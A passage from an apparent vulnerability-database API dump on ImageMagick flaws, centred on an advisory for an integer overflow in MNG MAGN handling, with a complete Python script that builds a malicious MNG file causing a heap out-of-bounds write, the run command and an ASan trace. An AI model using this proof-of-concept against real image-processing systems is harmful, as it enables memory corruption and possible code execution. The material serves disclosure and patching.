m=(ssize_t) mng_info->magn_my;\n\n n=prev;\n prev=next;\n next=n;\n\n if (y < (ssize_t) image->rows-1)\n {\n n=GetAuthenticPixels(image,0,y+1,image->columns,1,\n exception);\n (void) memcpy(next,n,length);\n }\n\n for (i=0; i < m; i++, yy++)\n {\n Quantum\n *pixels;\n\n assert(yy < (ssize_t) large_image->rows);\n pixels=prev;\n n=next;\n q=GetAuthenticPixels(large_image,0,yy,large_image->columns,\n 1,exception);\n if (q == (Quantum *) NULL)\n break;\n q+=(ptrdiff_t) (large_image->columns-image->columns)*\n GetPixelChannels(large_image); // [3]\n```\n\nIf we look at the calculation for `magnified_width`, we can see that we are storing the results in a `png_uint32`. The operations at \\[0\\] and \\[1\\] are safe, since `mng_info->magn_ml` and `mng_info->magn_mx` are both 16-bit unsigned integers, but both the multiplication at \\[2\\] and the addition of the result of that multiplication to `magnified_width` can overflow, leading to a value of `magnified_width` that is smaller than required.\n\nWhen we then operate on the pixel buffers, we use the original parameters for the magnification, and we assume (reasonably?) that the output buffer is larger than the input buffer when calculating where to write the upsampled/magnified pixel values. Unfortunately, after the overflow has happened, this assumption is no longer true, and the calculation at \\[3\\] will end up with a `q` pointer outside the buffer bounds.\n\nThis issue leads to an out-of-bounds write of controlled data beyond the bounds of a heap allocation.\n\nTriggering this issue requires an `image` with large `columns` or `rows` (\\~65535) which should be prevented by all of the example security policies (which set `width`/`height` limits of `8KP`).\n\n## **Affected Version(s)**\n\nVerified on current HEAD (305e383c8ac7b30bc2ee96ab8c43ec96217ec2a9) and latest stable release (7.1.2-0).\n\n### **Build Instructions**\n\n```shell\ngit clone https://github.com/imagemagick/imagemagick\ncd imagemagick\n\nexport CC=clang\nexport CXX=clang++\nexport CFLAGS=\"-fsanitize=address\"\nexport CXXFLAGS=\"-fsanitize=address\"\nexport LDFLAGS=\"-fsanitize=address\"\n\n./configure --disable-shared --disable-docs --with-jxl\nmake -j\n```\n\n## **Reproduction**\n\n### **Test Case**\n\nThis testcase is a python script that will generate an MNG file with a MAGN chunk that triggers this overflow leading to an out-of-bounds heap write.\n\n```\nimport struct\nimport zlib\n\ndef create_chunk(chunk_type, data):\n crc = zlib.crc32(chunk_type + data) & 0xFFFFFFFF\n return struct.pack('>I', len(data)) + chunk_type + data + struct.pack('>I', crc)\n\n# MNG signature\nmng_signature = b'\\x8aMNG\\r\\n\\x1a\\n'\n\n# --- Dimensions ---\nmhdr_width = 1\nmhdr_height = 1\nihdr_width = 65538 # W: Original width to cause W' overflow\nihdr_height = 1 # H: Original height\n\n# MHDR chunk (Valid small dimensions)\nmhdr_data = struct.pack('>IIIIIII', mhdr_width, mhdr_height, 1, 0, 0, 0, 0)\nmhdr_chunk = create_chunk(b'MHDR', mhdr_data)\n\n# MAGN chunk: Trigger width overflow, force entry via height magn\nmagn_first = 0\nmagn_last = 0\nmagn_methx = 1\nmagn_mx = 65535 # -> magnified_width = 65534 (overflow)\nmagn_my = 2 # -> magnified_height = 2 (magn_mt=2)\nmagn_ml = 65535\nmagn_mr = 65535\nmagn_mt = 2 # Force magnified_height > H (necessary to trigger large_image path)\nmagn_mb = 1\nmagn_methy = 1\n\nmagn_data = struct.pack('>HHBHHHHHHB',\n magn_first, magn_last,\n magn_methx,\n magn_mx, magn_my,\n magn_ml, magn_mr,\n magn_mt, magn_mb,\n magn_methy)\nmagn_chunk = create_chunk(b'MAGN', magn_data)\n\n# IHDR chunk\nihdr_data = struct.pack('>IIBBBBB', ihdr_width, ihdr_height, 8, 0, 0, 0, 0)\nihdr_chunk = create_chunk(b'IHDR', ihdr_data)\n\n# IDAT chunk (Minimal data for W x H grayscale pixels)\nscanline = b'\\x00' + (b'\\x00' * ihdr_width)\ncompressed_scanline = zlib.compress(scanline)\nidat_chunk = create_chunk(b'IDAT', compressed_scanline)\n\n# IEND chunk\niend_chunk = create_chunk(b'IEND', b'')\n\n# MEND chunk\nmend_chunk = create_chunk(b'MEND', b'')\n\nprogram_input = (\n mng_signature +\n mhdr_chunk +\n magn_chunk +\n ihdr_chunk +\n idat_chunk +\n iend_chunk +\n mend_chunk\n)\n\nprint(f\"Generated MNG size: {len(program_input)} bytes\")\nwith open(\"magn_write.mng\", \"wb\") as tmp:\n tmp.write(program_input)\n```\n\n### **Command**\n\n```shell\npython3 ./generate_testcase.py\nutilities/magick ./magn_write.mng -resize 200x200 PNG:output.png\n```\n\n### **ASan Backtrace**\n\n```\n=================================================================\n==585863==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7f80849757d0 at pc 0x55744124fba3 bp 0x7fff1300ddf0 sp 0x7fff1300dde8\nWRITE of size 4 at 0x7f80849757d0 thread T0\n #0 0x55744124fba2 in SetPixelRed /tmp/repro/imagemagick/./MagickCore/pixel-accessor.h:913:52\n #1 0x55744123be16 in ReadOneMNGImage /tmp/repro/imagemagick/coders/png.c:6657:27\n #2 0x557441222c33 in ReadMNGImage /tmp/repro/imagemagick/coders/png.c:7341:9\n #3 0x557441347da1 in ReadImage /tmp/repro/imagemagick/MagickCore/constitute.c:736:15\n #4 0x55744134ad96 in ReadImages /tmp/repro/imagemagick/MagickCore/constitute.c:1078:9\n #5 0x5574419135fc in CLINoImageOperator /tmp/repro/imagemagick/MagickWand/operation.c:4959:22\n #6 0x55744190748c in CLIOption /tmp/repro/imagemagick/MagickWand/operation.c:5473:7\n #7 0x5574417dd25b in ProcessCommandOptions /tmp/repro/imagemagick/MagickWand/magick-cli.c:653:13\n #8 0x5574417de629 in MagickImageCommand /tmp/repro/imagemagick/MagickWand/magick-cli.c:1392:5\n #9 0x5574417daf9c in MagickCommandGenesis /tmp/repro/imagemagick/MagickWand/magick-cli.c:177:14\n #10 0x557440e237b9 in MagickMain /tmp/repro/imagemagick/utilities/magick.c:162:10\n #11 0x557440e231e1 in main /tmp/repro/imagemagick/utilities/magick.c:193:10\n #12 0x7f8087433ca7 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16\n #13 0x7f8087433d64 in __libc_start_main csu/../csu/libc-start.c:360:3\n #14 0x557440d3f790 in _start (/tmp/repro/imagemagick/utilities/magick+0x1f2790) (BuildId: 926b2c12732f27a214dada191ea6277c7b553ea5)\n\n0x7f80849757d0 is located 48 bytes before 1572816-byte region [0x7f8084975800,0x7f8084af57d0)\nallocated by thread T0 here:\n #0 0x557440de00cb in posix_memalign (/tmp/repro/imagemagick/utilities/magick+0x2930cb) (BuildId: 926b2c12732f27a214dada191ea6277c7b553ea5)\n #1 0x557440e58aa6 in AcquireAlignedMemory_POSIX /tmp/repro/imagemagick/MagickCore/memory.c:300:7\n #2 0x557440e5885d in AcquireAlignedMemory /tmp/repro/imagemagick/MagickCore/memory.c:378:10\n #3 0x5574412e9725 in OpenPixelCache /tmp/repro/imagemagick/MagickCore/cache.c:3775:46\n #4 0x5574412eead7 in GetImagePixelCache /tmp/repro/imagemagick/MagickCore/cache.c:1782:18\n #5 0x5574412ef71b in SyncImagePixelCache /tmp/repro/imagemagick/MagickCore/cache.c:5600:28\n #6 0x557440e2e786 in SetImageStorageClass /tmp/repro/imagemagick/MagickCore/image.c:2617:10\n #7 0x557440e2f075 in SetImageBackgroundColor /tmp/repro/imagemagick/MagickCore/image.c:2422:7\n #8 0x55744123b3d6 in ReadOneMNGImage /tmp/repro/imagemagick/coders/png.c:6560:28\n #9 0x557441222c33 in ReadMNGImage /tmp/repro/imagemagick/coders/png.c:7341:9\n #10 0x557441347da1 in ReadImage /tmp/repro/imagemagick/MagickCore/constitute.c:736:15\n #11 0x55744134ad96 in ReadImages /tmp/repro/imagemagick/MagickCore/constitute.c:1078:9\n #12 0x5574419135fc in CLINoImageOperator /tmp/repro/imagemagick/MagickWand/operation.c:4959:22\n #13 0x55744190748c in CLIOption /tmp/repro/imagemagick/MagickWand/operation.c:5473:7\n #14 0x5574417dd25b in ProcessCommandOptions /tmp/repro/imagemagick/MagickWand/magick-cli.c:653:13\n #15 0x5574417de629 in MagickImageCommand /tmp/repro/imagemagick/MagickWand/magick-cli.c:1392:5\n #16 0x5574417daf9c in MagickCommandGenesis /tmp/repro/imagemagick/MagickWand/magick-cli.c:177:14\n #17 0x557440e237b9 in MagickMain /tmp/repro/imagemagick/utilities/magick.c:162:10\n #18 0x557440e231e1 in main /tmp/repro/imagemagick/utilities/magick.c:193:10\n #19 0x7f8087433ca7 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow /tmp/repro/imagemagick/./MagickCore/pixel-accessor.h:913:52 in SetPixelRed\nShadow bytes around the buggy address:\n 0x7f8084975500: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x7f8084975580: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x7f8084975600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x7f8084975680: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x7f8084975700: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n=>0x7f8084975780: fa fa fa fa fa fa fa fa fa fa[fa]fa fa fa fa fa\n 0x7f8084975800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n 0x7f8084975880: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n 0x7f8084975900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n 0x7f8084975980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n 0x7f8084975a00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\nShadow byte legend (one shadow byte represents 8 application bytes):\n Addressable: 00\n Partially addressable: 01 02 03 04 05 06 07 \n Heap left redzone: fa\n Freed heap region: fd\n Stack left redzone: f1\n Stack mid redzone: f2\n Stack right redzone: f3\n Stack after return: f5\n Stack use after scope: f8\n Global redzone: f9\n Global init order: f6\n Poisoned by user: f7\n Container overflow: fc\n Array cookie: ac\n Intra object redzone: bb\n ASan internal: fe\n Left alloca redzone: ca\n Right alloca redzone: cb\n==585863==ABORTING\n```\n\n## **Reporter Credit**\n\nGoogle Big Sleep", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-55154.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.3", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-55154.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2025-55154", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00089", "scoring_system": "epss", "scoring_elements": "0.25349", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2025-55154" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-55154", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-55154" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.8.0", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.8.0" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://issuetracker.google.com/savedsearches/7155917", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://issuetracker.google.com/savedsearches/7155917" }, { "reference_url": "https://lists.debian.org/debian-lts-announce/2025/09/msg00012.html", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://lists.debian.org/debian-lts-announce/2025/09/msg00012.html" }, { "reference_url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1111103", "reference_id": "1111103", "reference_type": "", "scores": [], "url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1111103" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2388243", "reference_id": "2388243", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2388243" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55154", "reference_id": "CVE-2025-55154", "reference_type": "", "scores": [ { "value": "8.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55154" }, { "reference_url": "https://github.com/advisories/GHSA-qp29-wxp5-wh82", "reference_id": "GHSA-qp29-wxp5-wh82", "reference_type": "", "scores": [], "url": "https://github.com/advisories/GHSA-qp29-wxp5-wh82" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-qp29-wxp5-wh82", "reference_id": "GHSA-qp29-wxp5-wh82", "reference_type": "", "scores": [ { "value": "8.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-08-13T14:28:13Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-qp29-wxp5-wh82" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2025:15666", "reference_id": "RHSA-2025:15666", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2025:15666" }, { "reference_url": "https://usn.ubuntu.com/7756-1/", "reference_id": "USN-7756-1", "reference_type": "", "scores": [], "url": "https://usn.ubuntu.com/7756-1/" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/86219?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.8.0", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-11v2-qgx3-47hz" }, { "vulnerability": "VCID-1dkp-eq4m-kuey" }, { "vulnerability": "VCID-1hrc-y5vr-efgj" }, { "vulnerability": "VCID-1j2k-6rbb-tfhy" }, { "vulnerability": "VCID-1p4e-f2bs-eycu" }, { "vulnerability": "VCID-1y2r-nh91-u7ha" }, { "vulnerability": "VCID-27wf-43fw-kuam" }, { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-3gm2-ehp7-d7em" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-4fqh-nbke-bufv" }, { "vulnerability": "VCID-4hmq-1sx8-skcj" }, { "vulnerability": "VCID-4q34-28cp-j3fn" }, { "vulnerability": "VCID-58jw-s2v7-ukcw" }, { "vulnerability": "VCID-5e38-r9z4-a7h9" }, { "vulnerability": "VCID-5e5g-55d6-3yev" }, { "vulnerability": "VCID-5mtv-p43c-fqc5" }, { "vulnerability": "VCID-5xqc-2jt1-dfh1" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-7rkq-y5rp-wyfm" }, { "vulnerability": "VCID-836n-xdhx-zye3" }, { "vulnerability": "VCID-88yk-kthd-5qgr" }, { "vulnerability": "VCID-8sq5-r6ur-3be6" }, { "vulnerability": "VCID-8zwb-29vf-gkag" }, { "vulnerability": "VCID-92t2-5jrm-cyej" }, { "vulnerability": "VCID-97p8-5z8e-2qd5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-9fpb-ch9j-8yg3" }, { "vulnerability": "VCID-a58f-bqx9-yfhk" }, { "vulnerability": "VCID-acea-fhhx-xydj" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-bcdj-1szf-u3c8" }, { "vulnerability": "VCID-c9t3-dj85-nfev" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cnvc-vfa2-z3fq" }, { "vulnerability": "VCID-cpn3-kr6q-2ugv" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-ddvf-h3jf-1yft" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-dw4p-7umw-tqhd" }, { "vulnerability": "VCID-e59v-wtp4-v7ev" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-g38v-cdjz-a7cd" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-j589-992a-jfa7" }, { "vulnerability": "VCID-jtta-svbt-wfcv" }, { "vulnerability": "VCID-kcs8-8s5x-w7er" }, { "vulnerability": "VCID-kpcy-a3v3-ubhs" }, { "vulnerability": "VCID-kyeb-ndqs-vyhp" }, { "vulnerability": "VCID-kymx-rjrd-m3g4" }, { "vulnerability": "VCID-m1x2-ffdz-ekhu" }, { "vulnerability": "VCID-m8u5-3zy6-zyh8" }, { "vulnerability": "VCID-majy-bytw-9bew" }, { "vulnerability": "VCID-mjy1-gkm8-2ugw" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-ndur-uewc-aucm" }, { "vulnerability": "VCID-nfr9-r9x3-4ugt" }, { "vulnerability": "VCID-nxzm-r956-pbfy" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-qrsw-ekum-zue2" }, { "vulnerability": "VCID-rabe-pnz7-mqbj" }, { "vulnerability": "VCID-rp71-pwxm-quhd" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-s9q4-zzzf-e7gt" }, { "vulnerability": "VCID-s9vc-rtmc-vygy" }, { "vulnerability": "VCID-sh29-s49w-6qdj" }, { "vulnerability": "VCID-sjg9-srcu-8bck" }, { "vulnerability": "VCID-t1vu-myek-u7dq" }, { "vulnerability": "VCID-t7w8-fz8u-zud8" }, { "vulnerability": "VCID-taap-mm6q-xuef" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-u59k-v6pm-qud3" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-v8sf-9pty-aqh4" }, { "vulnerability": "VCID-vk9r-ve4j-w7g2" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" }, { "vulnerability": "VCID-wh9f-rvt4-6fb9" }, { "vulnerability": "VCID-x1pn-e5ze-tqd2" }, { "vulnerability": "VCID-x85h-m4tr-ykha" }, { "vulnerability": "VCID-xftp-cy5m-nkhh" }, { "vulnerability": "VCID-xuxk-mcdm-q3fr" }, { "vulnerability": "VCID-ye74-15xt-ukhk" }, { "vulnerability": "VCID-yhp9-y1y3-nyh8" }, { "vulnerability": "VCID-yxmc-uvt6-ebgw" }, { "vulnerability": "VCID-z52g-6wk3-3ufj" }, { "vulnerability": "VCID-zt1v-dckb-gbh3" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.8.0" } ], "aliases": [ "CVE-2025-55154", "GHSA-qp29-wxp5-wh82" ], "risk_score": 4.0, "exploitability": "0.5", "weighted_severity": "8.0", "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-juaq-c8xf-rkb1" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/50334?format=api", "vulnerability_id": "VCID-kcs8-8s5x-w7er", "summary": "ImageMagick: MSL image stack index may fail to refresh, leading to leaked images\nSometimes msl.c fails to update the stack index, so an image is stored in the wrong slot and never freed on error, causing leaks.\n\n```\n==841485==ERROR: LeakSanitizer: detected memory leaks\n\nDirect leak of 13512 byte(s) in 1 object(s) allocated from:", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25988.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25988.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-25988", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00025", "scoring_system": "epss", "scoring_elements": "0.07596", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-25988" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25988", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25988" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/commit/4354fc1d554ec2e6314aed13536efa7bde9593d2", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/commit/4354fc1d554ec2e6314aed13536efa7bde9593d2" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442101", "reference_id": "2442101", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442101" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25988", "reference_id": "CVE-2026-25988", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25988" }, { "reference_url": "https://github.com/advisories/GHSA-782x-jh29-9mf7", "reference_id": "GHSA-782x-jh29-9mf7", "reference_type": "", "scores": [ { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-782x-jh29-9mf7" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-782x-jh29-9mf7", "reference_id": "GHSA-782x-jh29-9mf7", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-02-28T02:08:10Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-782x-jh29-9mf7" }, { "reference_url": "https://usn.ubuntu.com/8127-1/", "reference_id": "USN-8127-1", "reference_type": "", "scores": [], "url": "https://usn.ubuntu.com/8127-1/" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/74207?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.10.3", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-1dkp-eq4m-kuey" }, { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-4hmq-1sx8-skcj" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-9fpb-ch9j-8yg3" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cnvc-vfa2-z3fq" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-e59v-wtp4-v7ev" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-j589-992a-jfa7" }, { "vulnerability": "VCID-m8u5-3zy6-zyh8" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-nfr9-r9x3-4ugt" }, { "vulnerability": "VCID-nxzm-r956-pbfy" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-qrsw-ekum-zue2" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-s9q4-zzzf-e7gt" }, { "vulnerability": "VCID-t7w8-fz8u-zud8" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-vk9r-ve4j-w7g2" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" }, { "vulnerability": "VCID-x1pn-e5ze-tqd2" }, { "vulnerability": "VCID-x85h-m4tr-ykha" }, { "vulnerability": "VCID-xuxk-mcdm-q3fr" }, { "vulnerability": "VCID-zt1v-dckb-gbh3" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.10.3" } ], "aliases": [ "CVE-2026-25988", "GHSA-782x-jh29-9mf7" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-kcs8-8s5x-w7er" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/50374?format=api", "vulnerability_id": "VCID-kpcy-a3v3-ubhs", "summary": "ImageMagick: Heap-based Buffer Overflow in GetPixelIndex due to metadata-cache desynchronization\n`OpenPixelCache` updates image channel metadata **before** attempting pixel cache memory allocation. When both memory and disk allocation fail a heap-buffer-overflow read in occurs in any writer that calls `GetPixelIndex`.", "references": [ { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:L" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:L" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": 